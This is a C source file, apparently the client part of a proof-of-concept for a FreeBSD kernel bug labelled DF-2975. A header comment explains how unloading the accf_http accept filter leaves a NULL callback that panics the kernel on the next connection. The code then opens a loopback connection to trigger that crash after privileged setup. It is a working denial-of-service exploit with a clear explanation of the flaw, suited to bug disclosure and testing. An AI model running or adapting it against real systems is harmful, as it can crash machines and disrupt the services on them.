DF-2975 / cli.c
/* * DF-2975 - accept-filter registry lifetime PoC (privileged setup). * * sys/kern/uipc_accf.c keeps NO refcount between registered filters and the * sockets using them (the MOD_UNLOAD comment at uipc_accf.c:128-133 admits * it). accept_filt_del() only NULLs accf_callback (uipc_accf.c:95) while * the listening socket keeps so_accf->so_accept_filter pointing at the * registry entry. With net.inet.accf.unloadable=1: * * kldunload accf_http ==> registry entry survives (leaked) but its * accf_callback is NULL. The NEXT connection to the still-filtered * listener hits uipc_socket2.c soisconnected(): * * so->so_upcall = head->so_accf->so_accept_filter->accf_callback; (=NULL) * ... * so->so_upcall(so, so->so_upcallarg, 0); (call 0) * * => guaranteed fatal kernel trap (call through NULL). * * Sequence (see run.sh): srv attaches filter; kldunload; cli connects. * The panic fires when the handshake completes (before accept() returns). */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { struct sockaddr_in sa; int fd, port = argc > 1 ? atoi(argv[1]) : 19001; char buf[64]; fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sa.sin_port = htons(port); if (connect(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("connect"); return 1; } printf("connected, sending 1 byte\n"); fflush(stdout); if (write(fd, "G", 1) == 1) printf("byte sent (filter upcall should already have fired)\n"); fflush(stdout); sleep(2); close(fd); return 0; } |